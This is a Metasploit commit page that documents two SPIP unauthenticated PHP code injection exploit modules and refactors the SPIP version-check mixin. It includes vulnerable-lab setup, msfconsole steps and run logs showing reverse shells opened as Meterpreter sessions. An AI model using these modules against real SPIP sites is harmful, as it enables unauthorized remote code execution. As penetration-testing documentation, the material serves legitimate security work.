Skip to content

Commit 586cf48

Browse files
ChocapikkChocapikk
committed
Refactoring SPIP Modules for Windows Compatibility and Incorporating SPIP Mixin
1 parent db55e5e commit 586cf48

File tree

7 files changed

+501
-181
lines changed

7 files changed

+501
-181
lines changed

‎documentation/modules/exploit/multi/http/spip_connect_exec.md

Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
## Vulnerable Application
2+
3+
This module exploits a PHP code injection vulnerability in SPIP.
4+
The vulnerability exists in the `connect` parameter, allowing an unauthenticated
5+
user to execute arbitrary commands with web user privileges.
6+
Branches 2.0, 2.1, and 3 are affected.
7+
Vulnerable versions are < 2.0.21, < 2.1.16, and < 3.0.3.
8+
This module is compatible with both Unix/Linux and Windows platforms, and has been successfully tested on SPIP 2.0.11 and SPIP 2.0.20
9+
on Apache running on Ubuntu, Fedora, and Windows Server.
10+
11+
The module's `check` method attempts to obtain the SPIP version via a simple HTTP
12+
GET request to the `/spip.php` page and fingerprints it either via the `generator` meta tag or the `Composed-By` header.
13+
14+
## Setup
15+
16+
On Ubuntu 20.04, download a vulnerable instance of SPIP:
17+
18+
```
19+
wget https://files.spip.net/spip/archives/SPIP-v2-0-0.zip
20+
```
21+
22+
Unzip it to a specific folder:
23+
24+
```
25+
mkdir spip-site
26+
cp SPIP-v2-0-0.zip spip-site/
27+
cd spip-site/
28+
unzip SPIP-v2-0-0.zip
29+
```
30+
31+
Install PHP 5.6 and the necessary extensions:
32+
33+
1. Add the PPA for PHP 5.6:
34+
35+
```
36+
sudo add-apt-repository ppa:ondrej/php
37+
sudo apt-get update
38+
```
39+
40+
2. Install PHP 5.6 with SQLite extensions:
41+
42+
```
43+
sudo apt-get install php5.6 php5.6-sqlite php5.6-sqlite3
44+
```
45+
46+
3. Enable the required extensions in the PHP configuration file:
47+
48+
Open the PHP INI file for CLI:
49+
50+
```
51+
sudo nano /etc/php/5.6/cli/php.ini
52+
```
53+
54+
Add or uncomment the following lines:
55+
56+
```
57+
extension=sqlite3.so
58+
extension=pdo_sqlite.so
59+
```
60+
61+
Serve the application (while in the newly created spip-site directory):
62+
63+
```
64+
php5.6 -S 127.0.0.1:8000
65+
```
66+
67+
Navigate to the following URL, select `sqlite` for the database, and complete the installation:
68+
69+
```
70+
http://127.0.0.1:8000/ecrire/
71+
```
72+
73+
## Verification Steps
74+
75+
1. Start msfconsole
76+
2. Do: `use exploit/multi/http/spip_connect_exec`
77+
3. Do: `set RHOSTS [IP]`
78+
4. Do: `set LHOST [IP]`
79+
5. Do: `exploit`
80+
81+
## Options
82+
83+
No options
84+
85+
## Targets
86+
87+
### 0 (PHP In-Memory)
88+
89+
This uses an in-memory PHP payload to execute code.
90+
91+
### 1 (Unix/Linux Command Shell)
92+
93+
This executes a Unix or Linux command.
94+
95+
### 2 (Windows Command Shell)
96+
97+
This executes a Windows command.
98+
99+
## Scenarios
100+
101+
### SPIP 2.0.0 - Linux target - PHP In-Memory
102+
103+
```
104+
msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/
105+
106+
[*] Started reverse TCP handler on 192.168.1.36:4444
107+
[*] Running automatic check ("set AutoCheck false" to disable)
108+
[*] SPIP Version detected: 2.0.0
109+
[+] The target appears to be vulnerable.
110+
[*] 192.168.1.36:8000 - Attempting to exploit...
111+
[*] Sending stage (39927 bytes) to 192.168.1.36
112+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:47020) at 2024-08-22 19:19:00 +0200
113+
114+
meterpreter > sysinfo
115+
Computer : linux
116+
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
117+
Meterpreter : php/linux
118+
meterpreter >
119+
```
120+
121+
### SPIP 2.0.0 - Unix/Linux Command Shell
122+
123+
```
124+
msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/
125+
126+
[*] Started reverse TCP handler on 192.168.1.36:4444
127+
[*] Running automatic check ("set AutoCheck false" to disable)
128+
[*] SPIP Version detected: 2.0.0
129+
[+] The target appears to be vulnerable.
130+
[*] 192.168.1.36:8000 - Attempting to exploit...
131+
[*] Sending stage (3045380 bytes) to 192.168.1.36
132+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:32794) at 2024-08-22 19:20:41 +0200
133+
134+
meterpreter > sysinfo
135+
Computer : 192.168.1.36
136+
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
137+
Architecture : x64
138+
BuildTuple : x86_64-linux-musl
139+
Meterpreter : x64/linux
140+
meterpreter >
141+
```
142+
143+
### SPIP 2.0.0 - Windows Command Shell
144+
145+
```
146+
Somehow, I was unable to obtain a remote code execution (RCE) on my lab environment using the Windows Command Shell target.
147+
However, based on the exploit's design and its success on other platforms, it is expected to work.
148+
The issue might be specific to my lab setup.
149+
```

‎documentation/modules/exploit/multi/http/spip_rce_form.md

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
## Vulnerable Application
2+
3+
This module exploits a PHP code injection in SPIP. The vulnerability exists in
4+
the `oubli` parameter and allows an unauthenticated user to execute arbitrary
5+
commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are
6+
concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
7+
8+
The module's `check` method attempts to obtain the SPIP version via a simple HTTP GET request to `/spip.php`
9+
page and fingerprints it either via the `generator` meta tag, or by the
10+
`Composed-By` header.
11+
12+
This module has been successfully tested against SPIP version 4.0.0.
13+
14+
## Setup
15+
16+
On Ubuntu 20.04, download a vulnerable instance of SPIP:
17+
18+
```
19+
wget https://files.spip.net/spip/archives/spip-v4.2.0.zip
20+
```
21+
22+
Unzip it to a specific folder:
23+
24+
```
25+
mkdir spip-site
26+
cp spip-v4.2.0.zip spip-site/
27+
cd spip-site /
28+
unzip spip-v4.2.0.zip
29+
```
30+
31+
Install php and the necessary extensions:
32+
33+
```
34+
sudo apt install -y php-xml php-zip php-sqlite3
35+
```
36+
37+
Serve the application (while in the newly created spip-site directory):
38+
39+
```
40+
php -S 127.0.0.1:8000
41+
```
42+
43+
Navigate to the following URL, select `sqlite` for the database, and complete the installation:
44+
45+
```
46+
http://127.0.0.1:8000/ecrire/
47+
```
48+
49+
## Verification Steps
50+
51+
1. Start msfconsole
52+
2. Do: `use exploit/multi/http/spip_rce_form`
53+
3. Do: `set RHOSTS [IP]`
54+
4. Do: `set LHOST [IP]`
55+
5. Do: `exploit`
56+
57+
## Options
58+
59+
No options
60+
61+
## Targets
62+
63+
### 0 (PHP In-Memory)
64+
65+
This uses an in-memory PHP payload to execute code.
66+
67+
### 1 (Unix/Linux Command Shell)
68+
69+
This executes a Unix or Linux command.
70+
71+
### 2 (Windows Command Shell)
72+
73+
This executes a Windows command.
74+
75+
## Scenarios
76+
### SPIP 4.2.0 - Linux target - PHP In-Memory
77+
```
78+
msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000
79+
80+
[*] Started reverse TCP handler on 192.168.1.36:4444
81+
[*] Running automatic check ("set AutoCheck false" to disable)
82+
[*] SPIP Version detected: 4.2.0
83+
[+] The target appears to be vulnerable.
84+
[*] Got anti-csrf token: ZHsLFRQTGY9p0wCEbpT7JK7YhYzOupYuxRemHQ1KrmNOIonsgMLbNrmlewZfSwqzqLwjMMOcYBE5vNpVUt42LFLfKdJC9p94qg==
85+
[*] 127.0.0.1:8000 - Attempting to exploit...
86+
[*] Sending stage (39927 bytes) to 192.168.1.36
87+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.36:36488) at 2024-08-22 15:01:39 +0200
88+
89+
meterpreter > sysinfo
90+
Computer : linux
91+
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
92+
Meterpreter : php/linux
93+
meterpreter >
94+
```
95+
96+
### SPIP 4.2.0 - Unix/Linux Command Shell
97+
98+
```
99+
msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000
100+
101+
[*] Started reverse TCP handler on 192.168.1.36:4444
102+
[*] Running automatic check ("set AutoCheck false" to disable)
103+
[*] SPIP Version detected: 4.2.0
104+
[+] The target appears to be vulnerable.
105+
[*] Got anti-csrf token: ZHsLFRQTGY9p0wCEbpT7JK7YhYzOupYuxRemHQ1KrmNOIonsgMLbNrmlewZfSwqzqLwjMMOcYBE5vNpVUt42LFLfKdJC9p94qg==
106+
[*] 127.0.0.1:8000 - Attempting to exploit...
107+
[*] Sending stage (3045380 bytes) to 192.168.1.36
108+
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.36:46044) at 2024-08-22 15:03:31 +0200
109+
110+
meterpreter > sysinfo
111+
Computer : 192.168.1.36
112+
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
113+
Architecture : x64
114+
BuildTuple : x86_64-linux-musl
115+
Meterpreter : x64/linux
116+
meterpreter >
117+
```
118+
119+
### SPIP 4.2.0 - Windows Command Shell
120+
121+
```
122+
msf6 exploit(multi/http/spip_rce_form) > run http://192.168.1.48
123+
124+
[*] Started reverse TCP handler on 192.168.1.36:4444
125+
[*] Running automatic check ("set AutoCheck false" to disable)
126+
[*] SPIP Version detected: 4.2.0
127+
[+] The target appears to be vulnerable.
128+
[*] Got anti-csrf token: Z1kE0G5FLDrWkF9cvFp5ZuEKbtEjqIxoWTXL9HxYFP/xXeUohvYklG+kfLo32Cas24teZEJVX4e10CE5HEAjZ4HpM7VAUZoh
129+
[*] 192.168.1.48:80 - Attempting to exploit...
130+
[*] Sending stage (201798 bytes) to 192.168.1.48
131+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.48:50092) at 2024-08-22 14:59:16 +0200
132+
133+
meterpreter > sysinfo
134+
Computer : DESKTOP-NHU31ET
135+
OS : Windows 10 (10.0 Build 19045).
136+
Architecture : x64
137+
System Language : fr_FR
138+
Domain : WORKGROUP
139+
Logged On Users : 2
140+
Meterpreter : x64/windows
141+
meterpreter >
142+
```

‎lib/msf/core/exploit/remote/http/spip.rb

Lines changed: 30 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -1,46 +1,45 @@
11
# -*- coding: binary -*-
22

33
module Msf
4-
module Exploit::Remote::HTTP::Spip
4+
module Exploit::Remote::HTTP::Spip
5+
include Msf::Exploit::Remote::HttpClient
56

6-
include Msf::Exploit::Remote::HttpClient
7+
def initialize(info = {})
8+
super
79

8-
def initialize(info = {})
9-
super
10+
register_options([
11+
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
12+
])
13+
end
1014

11-
register_options([
12-
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
13-
])
14-
end
15+
# Determine Spip version
16+
#
17+
# @return [Rex::Version] Version as Rex::Version
18+
def spip_version
19+
res = send_request_cgi(
20+
'method' => 'GET',
21+
'uri' => normalize_uri(target_uri.path, 'spip.php')
22+
)
1523

16-
# Determine Spip version
17-
#
18-
# @return [Rex::Version] Version as Rex::Version
19-
def spip_version
20-
res = send_request_cgi(
21-
'method' => 'GET',
22-
'uri' => normalize_uri(target_uri.path, "spip.php")
23-
)
24+
return unless res
2425

25-
return unless res
26+
version = nil
2627

27-
version = nil
28+
potential_sources = [
29+
res.get_html_document.at('head/meta[@name="generator"]/@content')&.text,
30+
res.headers['Composed-By']
31+
]
2832

29-
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
30-
if version_string =~ /SPIP (.*)/
31-
version = ::Regexp.last_match(1)
32-
end
33+
potential_sources.each do |text|
34+
next unless text
3335

34-
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*)/
35-
version = ::Regexp.last_match(1)
36-
end
36+
if text =~ /SPIP\s(\d+(\.\d+)+)/
37+
version = ::Regexp.last_match(1)
38+
break
39+
end
40+
end
3741

38-
if version.nil?
39-
return nil
42+
return version ? Rex::Version.new(version) : nil
4043
end
41-
42-
return Rex::Version.new(version)
4344
end
44-
45-
end
4645
end

0 commit comments

Comments
 (0)